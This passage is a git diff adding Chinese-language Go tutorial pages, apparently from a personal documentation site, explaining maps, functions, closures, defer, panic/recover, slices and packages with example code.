map类型的变量默认初始值为nil,需要使用make()函数来分配内存。语法为:

+
make(map[KeyType]ValueType, [cap])
+

其中cap表示map的容量,该参数虽然不是必须的,但是我们应该在初始化map的时候就为其指定一个合适的容量。

+

map基本使用​

+

map中的数据都是成对出现的,map的基本使用示例代码如下:

+
func main() {
scoreMap := make(map[string]int, 8)
scoreMap["张三"] = 90
scoreMap["小明"] = 100
fmt.Println(scoreMap)
fmt.Println(scoreMap["小明"])
fmt.Printf("type of a:%T\n", scoreMap)
}
+

输出:

+
map[小明:100 张三:90]
100
type of a:map[string]int
+

map也支持在声明的时候填充元素,例如:

+
func main() {
userInfo := map[string]string{
"username": "沙河小王子",
"password": "123456",
}
fmt.Println(userInfo) //
}
+

判断某个键是否存在​

+

Go语言中有个判断map中键是否存在的特殊写法,格式如下:

+
value, ok := map[key]
+

举个例子:

+
func main() {
scoreMap := make(map[string]int)
scoreMap["张三"] = 90
scoreMap["小明"] = 100
// 如果key存在ok为true,v为对应的值;不存在ok为false,v为值类型的零值
v, ok := scoreMap["张三"]
if ok {
fmt.Println(v)
} else {
fmt.Println("查无此人")
}
}
+

map的遍历​

+

Go语言中使用for range遍历map。

+
func main() {
scoreMap := make(map[string]int)
scoreMap["张三"] = 90
scoreMap["小明"] = 100
scoreMap["娜扎"] = 60
for k, v := range scoreMap {
fmt.Println(k, v)
}
}
+

但我们只想遍历key的时候,可以按下面的写法:

+
func main() {
scoreMap := make(map[string]int)
scoreMap["张三"] = 90
scoreMap["小明"] = 100
scoreMap["娜扎"] = 60
for k := range scoreMap {
fmt.Println(k)
}
}
+

注意: 遍历map时的元素顺序与添加键值对的顺序无关。

+

使用delete()函数删除键值对​

+

使用delete()内建函数从map中删除一组键值对,delete()函数的格式如下:

+
delete(map, key)
+

其中,

+
    +
  • map:表示要删除键值对的map
  • +
  • key:表示要删除的键值对的键
  • +
+

示例代码如下:

+
func main(){
scoreMap := make(map[string]int)
scoreMap["张三"] = 90
scoreMap["小明"] = 100
scoreMap["娜扎"] = 60
delete(scoreMap, "小明")//将小明:100从map中删除
for k,v := range scoreMap{
fmt.Println(k, v)
}
}
+

按照指定顺序遍历map​

+
func main() {
rand.Seed(time.Now().UnixNano()) //初始化随机数种子

var scoreMap = make(map[string]int, 200)

for i := 0; i < 100; i++ {
key := fmt.Sprintf("stu%02d", i) //生成stu开头的字符串
value := rand.Intn(100) //生成0~99的随机整数
scoreMap[key] = value
}
//取出map中的所有key存入切片keys
var keys = make([]string, 0, 200)
for key := range scoreMap {
keys = append(keys, key)
}
//对切片进行排序
sort.Strings(keys)
//按照排序后的key遍历map
for _, key := range keys {
fmt.Println(key, scoreMap[key])
}
}
+

元素为map类型的切片​

+

下面的代码演示了切片中的元素为map类型时的操作:

+
func main() {
var mapSlice = make([]map[string]string, 3)
for index, value := range mapSlice {
fmt.Printf("index:%d value:%v\n", index, value)
}
fmt.Println("after init")
// 对切片中的map元素进行初始化
mapSlice[0] = make(map[string]string, 10)
mapSlice[0]["name"] = "小王子"
mapSlice[0]["password"] = "123456"
mapSlice[0]["address"] = "沙河"
for index, value := range mapSlice {
fmt.Printf("index:%d value:%v\n", index, value)
}
}
+

值为切片类型的map​

+

下面的代码演示了map中值为切片类型的操作:

+
func main() {
var sliceMap = make(map[string][]string, 3)
fmt.Println(sliceMap)
fmt.Println("after init")
key := "中国"
value, ok := sliceMap[key]
if !ok {
value = make([]string, 0, 2)
}
value = append(value, "北京", "上海")
sliceMap[key] = value
fmt.Println(sliceMap)
}
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-函数/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-函数/index.html new file mode 100644 index 0000000..67d4e67 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-函数/index.html @@ -0,0 +1,178 @@ + + + + + +函数 | wjlin0 + + + + + + + +

函数

+

Go语言中支持函数、匿名函数和闭包,并且函数在Go语言中属于“一等公民”。

+

函数定义​

+

Go语言中定义函数使用func关键字,具体格式如下:

+
func 函数名(参数)(返回值){
函数体
}
+

其中:

+
    +
  • 函数名:由字母、数字、下划线组成。但函数名的第一个字母不能是数字。在同一个包内,函数名也称不能重名(包的概念详见后文)。
  • +
  • 参数:参数由参数变量和参数变量的类型组成,多个参数之间使用,分隔。
  • +
  • 返回值:返回值由返回值变量和其变量类型组成,也可以只写返回值的类型,多个返回值必须用()包裹,并用,分隔。
  • +
  • 函数体:实现指定功能的代码块。
  • +
+

我们先来定义一个求两个数之和的函数:

+
func intSum(x int, y int) int {
return x + y
}
+

函数的参数和返回值都是可选的,例如我们可以实现一个既不需要参数也没有返回值的函数:

+
func sayHello() {
fmt.Println("Hello 沙河")
}
+

函数的调用​

+

定义了函数之后,我们可以通过函数名()的方式调用函数。 例如我们调用上面定义的两个函数,代码如下:

+
func main() {
sayHello()
ret := intSum(10, 20)
fmt.Println(ret)
}
+

注意,调用有返回值的函数时,可以不接收其返回值。

+

参数​

+

类型简写​

+

函数的参数中如果相邻变量的类型相同,则可以省略类型,例如:

+
func intSum(x, y int) int {
return x + y
}
+

上面的代码中,intSum函数有两个参数,这两个参数的类型均为int,因此可以省略x的类型,因为y后面有类型说明,x参数也是该类型。

+

可变参数​

+

可变参数是指函数的参数数量不固定。Go语言中的可变参数通过在参数名后加...来标识。

+

注意:可变参数通常要作为函数的最后一个参数。

+

举个例子:

+
func intSum2(x ...int) int {
fmt.Println(x) //x是一个切片
sum := 0
for _, v := range x {
sum = sum + v
}
return sum
}
+

调用上面的函数:

+
ret1 := intSum2()
ret2 := intSum2(10)
ret3 := intSum2(10, 20)
ret4 := intSum2(10, 20, 30)
fmt.Println(ret1, ret2, ret3, ret4) //0 10 30 60
+

固定参数搭配可变参数使用时,可变参数要放在固定参数的后面,示例代码如下:

+
func intSum3(x int, y ...int) int {
fmt.Println(x, y)
sum := x
for _, v := range y {
sum = sum + v
}
return sum
}
+

调用上述函数:

+
ret5 := intSum3(100)
ret6 := intSum3(100, 10)
ret7 := intSum3(100, 10, 20)
ret8 := intSum3(100, 10, 20, 30)
fmt.Println(ret5, ret6, ret7, ret8) //100 110 130 160
+

本质上,函数的可变参数是通过切片来实现的。

+

返回值​

+

Go语言中通过return关键字向外输出返回值。

+

多返回值​

+

Go语言中函数支持多返回值,函数如果有多个返回值时必须用()将所有返回值包裹起来。

+

举个例子:

+
func calc(x, y int) (int, int) {
sum := x + y
sub := x - y
return sum, sub
}
+

返回值命名​

+

函数定义时可以给返回值命名,并在函数体中直接使用这些变量,最后通过return关键字返回。

+

例如:

+
func calc(x, y int) (sum, sub int) {
sum = x + y
sub = x - y
return
}
+

返回值补充​

+

当我们的一个函数返回值类型为slice时,nil可以看做是一个有效的slice,没必要显示返回一个长度为0的切片。

+
func someFunc(x string) []int {
if x == "" {
return nil // 没必要返回[]int{}
}
...
}
+

函数进阶​

+

变量作用域​

+

全局变量​

+

全局变量是定义在函数外部的变量,它在程序整个运行周期内都有效。 在函数中可以访问到全局变量。

+
package main

import "fmt"

//定义全局变量num
var num int64 = 10

func testGlobalVar() {
fmt.Printf("num=%d\n", num) //函数中可以访问全局变量num
}
func main() {
testGlobalVar() //num=10
}
+

局部变量​

+

局部变量又分为两种: 函数内定义的变量无法在该函数外使用,例如下面的示例代码main函数中无法使用testLocalVar函数中定义的变量x:

+
func testLocalVar() {
//定义一个函数局部变量x,仅在该函数内生效
var x int64 = 100
fmt.Printf("x=%d\n", x)
}

func main() {
testLocalVar()
fmt.Println(x) // 此时无法使用变量x
}
+

如果局部变量和全局变量重名,优先访问局部变量。

+
package main

import "fmt"

//定义全局变量num
var num int64 = 10

func testNum() {
num := 100
fmt.Printf("num=%d\n", num) // 函数中优先使用局部变量
}
func main() {
testNum() // num=100
}
+

接下来我们来看一下语句块定义的变量,通常我们会在if条件判断、for循环、switch语句上使用这种定义变量的方式。

+
func testLocalVar2(x, y int) {
fmt.Println(x, y) //函数的参数也是只在本函数中生效
if x > 0 {
z := 100 //变量z只在if语句块生效
fmt.Println(z)
}
//fmt.Println(z)//此处无法使用变量z
}
+

还有我们之前讲过的for循环语句中定义的变量,也是只在for语句块中生效:

+
func testLocalVar3() {
for i := 0; i < 10; i++ {
fmt.Println(i) //变量i只在当前for语句块中生效
}
//fmt.Println(i) //此处无法使用变量i
}
+

函数类型与变量​

+

定义函数类型​

+

我们可以使用type关键字来定义一个函数类型,具体格式如下:

+
type calculation func(int, int) int
+

上面语句定义了一个calculation类型,它是一种函数类型,这种函数接收两个int类型的参数并且返回一个int类型的返回值。

+

简单来说,凡是满足这个条件的函数都是calculation类型的函数,例如下面的add和sub是calculation类型。

+
func add(x, y int) int {
return x + y
}

func sub(x, y int) int {
return x - y
}
+

add和sub都能赋值给calculation类型的变量。

+
var c calculation
c = add
+

函数类型变量​

+

我们可以声明函数类型的变量并且为该变量赋值:

+
func main() {
var c calculation // 声明一个calculation类型的变量c
c = add // 把add赋值给c
fmt.Printf("type of c:%T\n", c) // type of c:main.calculation
fmt.Println(c(1, 2)) // 像调用add一样调用c

f := add // 将函数add赋值给变量f
fmt.Printf("type of f:%T\n", f) // type of f:func(int, int) int
fmt.Println(f(10, 20)) // 像调用add一样调用f
}
+

高阶函数​

+

高阶函数分为函数作为参数和函数作为返回值两部分。

+

函数作为参数​

+

函数可以作为参数:

+
func add(x, y int) int {
return x + y
}
func calc(x, y int, op func(int, int) int) int {
return op(x, y)
}
func main() {
ret2 := calc(10, 20, add)
fmt.Println(ret2) //30
}
+

函数作为返回值​

+

函数也可以作为返回值:

+
func do(s string) (func(int, int) int, error) {
switch s {
case "+":
return add, nil
case "-":
return sub, nil
default:
err := errors.New("无法识别的操作符")
return nil, err
}
}
+

匿名函数和闭包​

+

匿名函数​

+

函数当然还可以作为返回值,但是在Go语言中函数内部不能再像之前那样定义函数了,只能定义匿名函数。匿名函数就是没有函数名的函数,匿名函数的定义格式如下:

+
func(参数)(返回值){
函数体
}
+

匿名函数因为没有函数名,所以没办法像普通函数那样调用,所以匿名函数需要保存到某个变量或者作为立即执行函数:

+
func main() {
// 将匿名函数保存到变量
add := func(x, y int) {
fmt.Println(x + y)
}
add(10, 20) // 通过变量调用匿名函数

//自执行函数:匿名函数定义完加()直接执行
func(x, y int) {
fmt.Println(x + y)
}(10, 20)
}
+

匿名函数多用于实现回调函数和闭包。

+

闭包​

+

闭包指的是一个函数和与其相关的引用环境组合而成的实体。简单来说,闭包=函数+引用环境。 首先我们来看一个例子:

+
func adder() func(int) int {
var x int
return func(y int) int {
x += y
return x
}
}
func main() {
var f = adder()
fmt.Println(f(10)) //10
fmt.Println(f(20)) //30
fmt.Println(f(30)) //60

f1 := adder()
fmt.Println(f1(40)) //40
fmt.Println(f1(50)) //90
}
+

变量f是一个函数并且它引用了其外部作用域中的x变量,此时f就是一个闭包。 在f的生命周期内,变量x也一直有效。 闭包进阶示例1:

+
func adder2(x int) func(int) int {
return func(y int) int {
x += y
return x
}
}
func main() {
var f = adder2(10)
fmt.Println(f(10)) //20
fmt.Println(f(20)) //40
fmt.Println(f(30)) //70

f1 := adder2(20)
fmt.Println(f1(40)) //60
fmt.Println(f1(50)) //110
}
+

闭包进阶示例2:

+
func makeSuffixFunc(suffix string) func(string) string {
return func(name string) string {
if !strings.HasSuffix(name, suffix) {
return name + suffix
}
return name
}
}

func main() {
jpgFunc := makeSuffixFunc(".jpg")
txtFunc := makeSuffixFunc(".txt")
fmt.Println(jpgFunc("test")) //test.jpg
fmt.Println(txtFunc("test")) //test.txt
}
+

闭包进阶示例3:

+
func calc(base int) (func(int) int, func(int) int) {
add := func(i int) int {
base += i
return base
}

sub := func(i int) int {
base -= i
return base
}
return add, sub
}

func main() {
f1, f2 := calc(10)
fmt.Println(f1(1), f2(2)) //11 9
fmt.Println(f1(3), f2(4)) //12 8
fmt.Println(f1(5), f2(6)) //13 7
}
+

闭包其实并不复杂,只要牢记闭包=函数+引用环境。

+

defer语句​

+

Go语言中的defer语句会将其后面跟随的语句进行延迟处理。在defer归属的函数即将返回时,将延迟处理的语句按defer定义的逆序进行执行,也就是说,先被defer的语句最后被执行,最后被defer的语句,最先被执行。

+

举个例子:

+
func main() {
fmt.Println("start")
defer fmt.Println(1)
defer fmt.Println(2)
defer fmt.Println(3)
fmt.Println("end")
}
+

输出结果:

+
start
end
3
2
1
+

由于defer语句延迟调用的特性,所以defer语句能非常方便的处理资源释放问题。比如:资源清理、文件关闭、解锁及记录时间等。

+

defer执行时机​

+

在Go语言的函数中return语句在底层并不是原子操作,它分为给返回值赋值和RET指令两步。而defer语句执行的时机就在返回值赋值操作后,RET指令执行前。具体如下图所示:defer执行时机

+

defer经典案例​

+

阅读下面的代码,写出最后的打印结果。

+
func f1() int {
x := 5
defer func() {
x++
}()
return x
}

func f2() (x int) {
defer func() {
x++
}()
return 5
}

func f3() (y int) {
x := 5
defer func() {
x++
}()
return x
}
func f4() (x int) {
defer func(x int) {
x++
}(x)
return 5
}
func main() {
fmt.Println(f1())
fmt.Println(f2())
fmt.Println(f3())
fmt.Println(f4())
}
+

defer面试题​

+
func calc(index string, a, b int) int {
ret := a + b
fmt.Println(index, a, b, ret)
return ret
}

func main() {
x := 1
y := 2
defer calc("AA", x, calc("A", x, y))
x = 10
defer calc("BB", x, calc("B", x, y))
y = 20
}
+

问,上面代码的输出结果是?(提示:defer注册要延迟执行的函数时该函数所有的参数都需要确定其值)

+

内置函数介绍​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
内置函数介绍
close主要用来关闭channel
len用来求长度,比如string、array、slice、map、channel
new用来分配内存,主要用来分配值类型,比如int、struct。返回的是指针
make用来分配内存,主要用来分配引用类型,比如chan、map、slice
append用来追加元素到数组、slice中
panic和recover用来做错误处理
+

panic/recover​

+

Go语言中目前(Go1.12)是没有异常机制,但是使用panic/recover模式来处理错误。 panic可以在任何地方引发,但recover只有在defer调用的函数中有效。 首先来看一个例子:

+
func funcA() {
fmt.Println("func A")
}

func funcB() {
panic("panic in B")
}

func funcC() {
fmt.Println("func C")
}
func main() {
funcA()
funcB()
funcC()
}
+

输出:

+
func A
panic: panic in B

goroutine 1 [running]:
main.funcB(...)
.../code/func/main.go:12
main.main()
.../code/func/main.go:20 +0x98
+

程序运行期间funcB中引发了panic导致程序崩溃,异常退出了。这个时候我们就可以通过recover将程序恢复回来,继续往后执行。

+
func funcA() {
fmt.Println("func A")
}

func funcB() {
defer func() {
err := recover()
//如果程序出出现了panic错误,可以通过recover恢复过来
if err != nil {
fmt.Println("recover in B")
}
}()
panic("panic in B")
}

func funcC() {
fmt.Println("func C")
}
func main() {
funcA()
funcB()
funcC()
}
+

注意:

+
    +
  1. recover()必须搭配defer使用。
  2. +
  3. defer一定要在可能引发panic的语句之前定义。
  4. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-切片/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-切片/index.html new file mode 100644 index 0000000..798a4e3 --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-切片/index.html @@ -0,0 +1,141 @@ + + + + + +Go语言基础之切片 | wjlin0 + + + + + + + +

Go语言基础之切片

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:59:42
+

切片(Slice)是一个拥有相同类型元素的可变长度的序列。它是基于数组类型做的一层封装。它非常灵活,支持自动扩容。

+

切片是一个引用类型,它的内部结构包含地址、长度和容量。切片一般用于快速地操作一块数据集合。

+

切片的定义​

+

声明切片类型的基本语法如下:

+
var name []T
+

其中,

+
    +
  • name:表示变量名
  • +
  • T:表示切片中的元素类型
  • +
+

举个例子:

+
func main() {
// 声明切片类型
var a []string //声明一个字符串切片
var b = []int{} //声明一个整型切片并初始化
var c = []bool{false, true} //声明一个布尔切片并初始化
var d = []bool{false, true} //声明一个布尔切片并初始化
fmt.Println(a) //[]
fmt.Println(b) //[]
fmt.Println(c) //[false true]
fmt.Println(a == nil) //true
fmt.Println(b == nil) //false
fmt.Println(c == nil) //false
// fmt.Println(c == d) //切片是引用类型,不支持直接比较,只能和nil比较
}
+

切片的长度和容量​

+

切片拥有自己的长度和容量,我们可以通过使用内置的len()函数求长度,使用内置的cap()函数求切片的容量。

+

切片表达式​

+

切片表达式从字符串、数组、指向数组或切片的指针构造子字符串或切片。它有两种变体:一种指定low和high两个索引界限值的简单的形式,另一种是除了low和high索引界限值外还指定容量的完整的形式。

+

简单切片表达式​

+

切片的底层就是一个数组,所以我们可以基于数组通过切片表达式得到切片。 切片表达式中的low和high表示一个索引范围(左包含,右不包含),也就是下面代码中从数组a中选出1<=索引值<4的元素组成切片s,得到的切片长度=high-low,容量等于得到的切片的底层数组的容量。

+
func main() {
a := [5]int{1, 2, 3, 4, 5}
s := a[1:3] // s := a[low:high]
fmt.Printf("s:%v len(s):%v cap(s):%v\n", s, len(s), cap(s))
}
+

输出:

+
s:[2 3] len(s):2 cap(s):4
+

为了方便起见,可以省略切片表达式中的任何索引。省略了low则默认为0;省略了high则默认为切片操作数的长度:

+
a[2:]  // 等同于 a[2:len(a)]
a[:3] // 等同于 a[0:3]
a[:] // 等同于 a[0:len(a)]
+

注意:

+

对于数组或字符串,如果0 <= low <= high <= len(a),则索引合法,否则就会索引越界(out of range)。

+

对切片再执行切片表达式时(切片再切片),high的上限边界是切片的容量cap(a),而不是长度。常量索引必须是非负的,并且可以用int类型的值表示;对于数组或常量字符串,常量索引也必须在有效范围内。如果low和high两个指标都是常数,它们必须满足low <= high。如果索引在运行时超出范围,就会发生运行时panic。

+
func main() {
a := [5]int{1, 2, 3, 4, 5}
s := a[1:3] // s := a[low:high]
fmt.Printf("s:%v len(s):%v cap(s):%v\n", s, len(s), cap(s))
s2 := s[3:4] // 索引的上限是cap(s)而不是len(s)
fmt.Printf("s2:%v len(s2):%v cap(s2):%v\n", s2, len(s2), cap(s2))
}
+

输出:

+
s:[2 3] len(s):2 cap(s):4
s2:[5] len(s2):1 cap(s2):1
+

完整切片表达式​

+

对于数组,指向数组的指针,或切片a(注意不能是字符串)支持完整切片表达式:

+
a[low : high : max]
+

上面的代码会构造与简单切片表达式a[low: high]相同类型、相同长度和元素的切片。另外,它会将得到的结果切片的容量设置为max-low。在完整切片表达式中只有第一个索引值(low)可以省略;它默认为0。

+
func main() {
a := [5]int{1, 2, 3, 4, 5}
t := a[1:3:5]
fmt.Printf("t:%v len(t):%v cap(t):%v\n", t, len(t), cap(t))
}
+

输出结果:

+
t:[2 3] len(t):2 cap(t):4
+

完整切片表达式需要满足的条件是0 <= low <= high <= max <= cap(a),其他条件和简单切片表达式相同。

+

使用make()函数构造切片​

+

我们上面都是基于数组来创建的切片,如果需要动态的创建一个切片,我们就需要使用内置的make()函数,格式如下:

+
make([]T, size, cap)
+

其中:

+
    +
  • T:切片的元素类型
  • +
  • size:切片中元素的数量
  • +
  • cap:切片的容量
  • +
+

举个例子:

+
func main() {
a := make([]int, 2, 10)
fmt.Println(a) //[0 0]
fmt.Println(len(a)) //2
fmt.Println(cap(a)) //10
}
+

上面代码中a的内部存储空间已经分配了10个,但实际上只用了2个。 容量并不会影响当前元素的个数,所以len(a)返回2,cap(a)则返回该切片的容量。

+

切片的本质​

+

切片的本质就是对底层数组的封装,它包含了三个信息:底层数组的指针、切片的长度(len)和切片的容量(cap)。

+

举个例子,现在有一个数组a := [8]int{0, 1, 2, 3, 4, 5, 6, 7},切片s1 := a[:5],相应示意图如下。slice_01切片s2 := a[3:6],相应示意图如下:slice_02

+

判断切片是否为空​

+

要检查切片是否为空,请始终使用len(s) == 0来判断,而不应该使用s == nil来判断。

+

切片不能直接比较​

+

切片之间是不能比较的,我们不能使用==操作符来判断两个切片是否含有全部相等元素。 切片唯一合法的比较操作是和nil比较。 一个nil值的切片并没有底层数组,一个nil值的切片的长度和容量都是0。但是我们不能说一个长度和容量都是0的切片一定是nil,例如下面的示例:

+
var s1 []int         //len(s1)=0;cap(s1)=0;s1==nil
s2 := []int{} //len(s2)=0;cap(s2)=0;s2!=nil
s3 := make([]int, 0) //len(s3)=0;cap(s3)=0;s3!=nil
+

所以要判断一个切片是否是空的,要是用len(s) == 0来判断,不应该使用s == nil来判断。

+

切片的赋值拷贝​

+

下面的代码中演示了拷贝前后两个变量共享底层数组,对一个切片的修改会影响另一个切片的内容,这点需要特别注意。

+
func main() {
s1 := make([]int, 3) //[0 0 0]
s2 := s1 //将s1直接赋值给s2,s1和s2共用一个底层数组
s2[0] = 100
fmt.Println(s1) //[100 0 0]
fmt.Println(s2) //[100 0 0]
}
+

切片遍历​

+

切片的遍历方式和数组是一致的,支持索引遍历和for range遍历。

+
func main() {
s := []int{1, 3, 5}

for i := 0; i < len(s); i++ {
fmt.Println(i, s[i])
}

for index, value := range s {
fmt.Println(index, value)
}
}
+

append()方法为切片添加元素​

+

Go语言的内建函数append()可以为切片动态添加元素。 可以一次添加一个元素,可以添加多个元素,也可以添加另一个切片中的元素(后面加…)。

+
func main(){
var s []int
s = append(s, 1) // [1]
s = append(s, 2, 3, 4) // [1 2 3 4]
s2 := []int{5, 6, 7}
s = append(s, s2...) // [1 2 3 4 5 6 7]
}
+

**注意:**通过var声明的零值切片可以在append()函数直接使用,无需初始化。

+
var s []int
s = append(s, 1, 2, 3)
+

没有必要像下面的代码一样初始化一个切片再传入append()函数使用,

+
s := []int{}  // 没有必要初始化
s = append(s, 1, 2, 3)

var s = make([]int) // 没有必要初始化
s = append(s, 1, 2, 3)
+

每个切片会指向一个底层数组,这个数组的容量够用就添加新增元素。当底层数组不能容纳新增的元素时,切片就会自动按照一定的策略进行“扩容”,此时该切片指向的底层数组就会更换。“扩容”操作往往发生在append()函数调用时,所以我们通常都需要用原变量接收append函数的返回值。

+

举个例子:

+
func main() {
//append()添加元素和切片扩容
var numSlice []int
for i := 0; i < 10; i++ {
numSlice = append(numSlice, i)
fmt.Printf("%v len:%d cap:%d ptr:%p\n", numSlice, len(numSlice), cap(numSlice), numSlice)
}
}
+

输出:

+
[0]  len:1  cap:1  ptr:0xc0000a8000
[0 1] len:2 cap:2 ptr:0xc0000a8040
[0 1 2] len:3 cap:4 ptr:0xc0000b2020
[0 1 2 3] len:4 cap:4 ptr:0xc0000b2020
[0 1 2 3 4] len:5 cap:8 ptr:0xc0000b6000
[0 1 2 3 4 5] len:6 cap:8 ptr:0xc0000b6000
[0 1 2 3 4 5 6] len:7 cap:8 ptr:0xc0000b6000
[0 1 2 3 4 5 6 7] len:8 cap:8 ptr:0xc0000b6000
[0 1 2 3 4 5 6 7 8] len:9 cap:16 ptr:0xc0000b8000
[0 1 2 3 4 5 6 7 8 9] len:10 cap:16 ptr:0xc0000b8000
+

从上面的结果可以看出:

+
    +
  1. append()函数将元素追加到切片的最后并返回该切片。
  2. +
  3. 切片numSlice的容量按照1,2,4,8,16这样的规则自动进行扩容,每次扩容后都是扩容前的2倍。
  4. +
+

append()函数还支持一次性追加多个元素。 例如:

+
var citySlice []string
// 追加一个元素
citySlice = append(citySlice, "北京")
// 追加多个元素
citySlice = append(citySlice, "上海", "广州", "深圳")
// 追加切片
a := []string{"成都", "重庆"}
citySlice = append(citySlice, a...)
fmt.Println(citySlice) //[北京 上海 广州 深圳 成都 重庆]
+

切片的扩容策略​

+

可以通过查看$GOROOT/src/runtime/slice.go源码,其中扩容相关代码如下:

+
newcap := old.cap
doublecap := newcap + newcap
if cap > doublecap {
newcap = cap
} else {
if old.len < 1024 {
newcap = doublecap
} else {
// Check 0 < newcap to detect overflow
// and prevent an infinite loop.
for 0 < newcap && newcap < cap {
newcap += newcap / 4
}
// Set newcap to the requested cap when
// the newcap calculation overflowed.
if newcap <= 0 {
newcap = cap
}
}
}
+

从上面的代码可以看出以下内容:

+
    +
  • 首先判断,如果新申请容量(cap)大于2倍的旧容量(old.cap),最终容量(newcap)就是新申请的容量(cap)。
  • +
  • 否则判断,如果旧切片的长度小于1024,则最终容量(newcap)就是旧容量(old.cap)的两倍,即(newcap=doublecap),
  • +
  • 否则判断,如果旧切片长度大于等于1024,则最终容量(newcap)从旧容量(old.cap)开始循环增加原来的1/4,即(newcap=old.cap,for {newcap += newcap/4})直到最终容量(newcap)大于等于新申请的容量(cap),即(newcap >= cap)
  • +
  • 如果最终容量(cap)计算值溢出,则最终容量(cap)就是新申请容量(cap)。
  • +
+

需要注意的是,切片扩容还会根据切片中元素的类型不同而做不同的处理,比如int和string类型的处理方式就不一样。

+

使用copy()函数复制切片​

+

首先我们来看一个问题:

+
func main() {
a := []int{1, 2, 3, 4, 5}
b := a
fmt.Println(a) //[1 2 3 4 5]
fmt.Println(b) //[1 2 3 4 5]
b[0] = 1000
fmt.Println(a) //[1000 2 3 4 5]
fmt.Println(b) //[1000 2 3 4 5]
}
+

由于切片是引用类型,所以a和b其实都指向了同一块内存地址。修改b的同时a的值也会发生变化。

+

Go语言内建的copy()函数可以迅速地将一个切片的数据复制到另外一个切片空间中,copy()函数的使用格式如下:

+
copy(destSlice, srcSlice []T)
+

其中:

+
    +
  • srcSlice: 数据来源切片
  • +
  • destSlice: 目标切片
  • +
+

举个例子:

+
func main() {
// copy()复制切片
a := []int{1, 2, 3, 4, 5}
c := make([]int, 5, 5)
copy(c, a) //使用copy()函数将切片a中的元素复制到切片c
fmt.Println(a) //[1 2 3 4 5]
fmt.Println(c) //[1 2 3 4 5]
c[0] = 1000
fmt.Println(a) //[1 2 3 4 5]
fmt.Println(c) //[1000 2 3 4 5]
}
+

从切片中删除元素​

+

Go语言中并没有删除切片元素的专用方法,我们可以使用切片本身的特性来删除元素。 代码如下:

+
func main() {
// 从切片中删除元素
a := []int{30, 31, 32, 33, 34, 35, 36, 37}
// 要删除索引为2的元素
a = append(a[:2], a[3:]...)
fmt.Println(a) //[30 31 33 34 35 36 37]
}
+

总结一下就是:要从切片a中删除索引为index的元素,操作方法是a = append(a[:index], a[index+1:]...)

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-包/index.html b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-包/index.html new file mode 100644 index 0000000..56a99ee --- /dev/null +++ b/en/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-包/index.html @@ -0,0 +1,259 @@ + + + + + +包与依赖管理 | wjlin0 + + + + + + + +

包与依赖管理

+

本章学习目标

+
    +
  • 掌握包的定义和使用
  • +
  • 掌握init初始化函数的使用
  • +
  • 掌握依赖管理工具go module的使用
  • +
+

在工程化的Go语言开发项目中,Go语言的源码复用是建立在包(package)基础之上的。本文介绍了Go语言中如何定义包、如何导出包的内容及如何引入其他包。同时也将介绍如何在项目中使用go module管理依赖。

+

包(package)​

+

包介绍​

+

Go语言中支持模块化的开发理念,在Go语言中使用包(package)来支持代码模块化和代码复用。一个包是由一个或多个Go源码文件(.go结尾的文件)组成,是一种高级的代码复用方案,Go语言为我们提供了很多内置包,如fmt、os、io等。

+

例如,在之前的章节中我们频繁使用了fmt这个内置包。

+
package main

import "fmt"

func main(){
fmt.Println("Hello world!")
}
+

上面短短的几行代码就涉及到了如何定义包以及如何引入其它包两个内容,接下来我们依次介绍一下它们。

+

定义包​

+

我们可以根据自己的需要创建自定义包。一个包可以简单理解为一个存放.go文件的文件夹。该文件夹下面的所有.go文件都要在非注释的第一行添加如下声明,声明该文件归属的包。

+
package packagename
+

其中:

+
    +
  • package:声明包的关键字
  • +
  • packagename:包名,可以不与文件夹的名称一致,不能包含 - 符号,最好与其实现的功能相对应。
  • +
+

另外需要注意一个文件夹下面直接包含的文件只能归属一个包,同一个包的文件不能在多个文件夹下。包名为main的包是应用程序的入口包,这种包编译后会得到一个可执行文件,而编译不包含main包的源代码则不会得到可执行文件。

+

标识符可见性​

+

在同一个包内部声明的标识符都位于同一个命名空间下,在不同的包内部声明的标识符就属于不同的命名空间。想要在包的外部使用包内部的标识符就需要添加包名前缀,例如fmt.Println("Hello world!"),就是指调用fmt包中的Println函数。

+

如果想让一个包中的标识符(如变量、常量、类型、函数等)能被外部的包使用,那么标识符必须是对外可见的(public)。在Go语言中是通过标识符的首字母大/小写来控制标识符的对外可见(public)/不可见(private)的。在一个包内部只有首字母大写的标识符才是对外可见的。

+

例如我们定义一个名为demo的包,在其中定义了若干标识符。在另外一个包中并不是所有的标识符都能通过demo.前缀访问到,因为只有那些首字母是大写的标识符才是对外可见的。

+
package demo

import "fmt"

// 包级别标识符的可见性

// num 定义一个全局整型变量
// 首字母小写,对外不可见(只能在当前包内使用)
var num = 100

// Mode 定义一个常量
// 首字母大写,对外可见(可在其它包中使用)
const Mode = 1

// person 定义一个代表人的结构体
// 首字母小写,对外不可见(只能在当前包内使用)
type person struct {
name string
Age int
}

// Add 返回两个整数和的函数
// 首字母大写,对外可见(可在其它包中使用)
func Add(x, y int) int {
return x + y
}

// sayHi 打招呼的函数
// 首字母小写,对外不可见(只能在当前包内使用)
func sayHi() {
var myName = "七米" // 函数局部变量,只能在当前函数内使用
fmt.Println(myName)
}
+

同样的规则也适用于结构体,结构体中可导出字段的字段名称必须首字母大写。

+
type Student struct {
Name string // 可在包外访问的方法
class string // 仅限包内访问的字段
}
+

包的引入​

+

要在当前包中使用另外一个包的内容就需要使用import关键字引入这个包,并且import语句通常放在文件的开头,package声明语句的下方。完整的引入声明语句格式如下:

+
import importname "path/to/package"
+

其中:

+
    +
  • importname:引入的包名,通常都省略。默认值为引入包的包名。
  • +
  • path/to/package:引入包的路径名称,必须使用双引号包裹起来。
  • +
  • Go语言中禁止循环导入包。
  • +
+

一个Go源码文件中可以同时引入多个包,例如:

+
import "fmt"
import "net/http"
import "os"
+

当然可以使用批量引入的方式。

+
import (
"fmt"
